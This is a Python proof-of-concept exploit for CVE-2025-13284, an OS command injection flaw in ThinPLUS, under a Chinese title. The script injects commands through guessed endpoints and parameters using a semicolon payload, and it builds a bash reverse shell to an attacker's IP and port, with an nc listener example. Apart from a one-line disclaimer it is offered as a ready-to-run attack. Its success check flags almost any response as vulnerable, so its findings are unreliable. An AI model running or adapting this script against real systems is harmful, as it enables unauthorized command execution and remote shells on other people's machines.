CVE-2025-13284 ThinPLUS OS命令注入漏洞

#!/usr/bin/env python3 """ CVE-2025-13284 PoC - ThinPLUS OS Command Injection Note: This PoC is for educational and authorized security testing purposes only. """ import requests import sys def exploit(target_url, command="whoami"): """ Exploit CVE-2025-13284 - OS Command Injection in ThinPLUS Args: target_url: Base URL of the vulnerable ThinPLUS application command: OS command to execute on the target system Returns: Response from the vulnerable server """ # Common vulnerable endpoint patterns for ThinPLUS endpoints = [ "/api/system/ping", "/api/exec", "/ping", "/cgi-bin/system", "/admin/system/ping" ] # Payload construction using command injection techniques # Using semicolon to chain commands payload = f"127.0.0.1;{command}" for endpoint in endpoints: try: url = target_url.rstrip('/') + endpoint # Try common parameter names params = { 'host': payload, 'ip': payload, 'target': payload, 'address': payload } for param_name, param_value in params.items(): try: response = requests.get(url, params={param_name: param_value}, timeout=10) # Check if command was executed if response.status_code == 200 and (command in response.text or len(response.text) > 0): print(f"[+] Potential vulnerability found at: {url}") print(f"[+] Parameter: {param_name}") print(f"[+] Response:\n{response.text[:500]}") return response except requests.exceptions.RequestException as e: continue except Exception as e: print(f"[-] Error testing {endpoint}: {str(e)}") return None def reverse_shell(target_url, attacker_ip, attacker_port): """ Generate a reverse shell payload for CVE-2025-13284 Args: target_url: URL of vulnerable ThinPLUS application attacker_ip: Attacker's IP address for reverse shell attacker_port: Attacker's listening port """ # Generate bash reverse shell command reverse_cmd = f"bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1" # URL encode the command import urllib.parse encoded_cmd = urllib.parse.quote(reverse_cmd) payload = f"127.0.0.1;{reverse_cmd}" print(f"[*] Reverse shell payload: {payload}") print(f"[*] Set up listener on {attacker_ip}:{attacker_port}") print(f"[*] Example: nc -lvnp {attacker_port}") return payload if __name__ == "__main__": if len(sys.argv) < 2: print("Usage:") print(" python cve-2025-13284.py <target_url> [command]") print(" python cve-2025-13284.py <target_url> reverse <attacker_ip> <port>") print("\nExample:") print(" python cve-2025-13284.py http://vulnerable-server:8080 whoami") print(" python cve-2025-13284.py http://vulnerable-server:8080 reverse 192.168.1.100 4444") sys.exit(1) target = sys.argv[1] if len(sys.argv) >= 3: if sys.argv[2] == "reverse": if len(sys.argv) < 5: print("[-] Please provide attacker IP and port") sys.exit(1) attacker_ip = sys.argv[3] attacker_port = sys.argv[4] reverse_shell(target, attacker_ip, attacker_port) else: command = sys.argv[2] exploit(target, command) else: exploit(target, "whoami")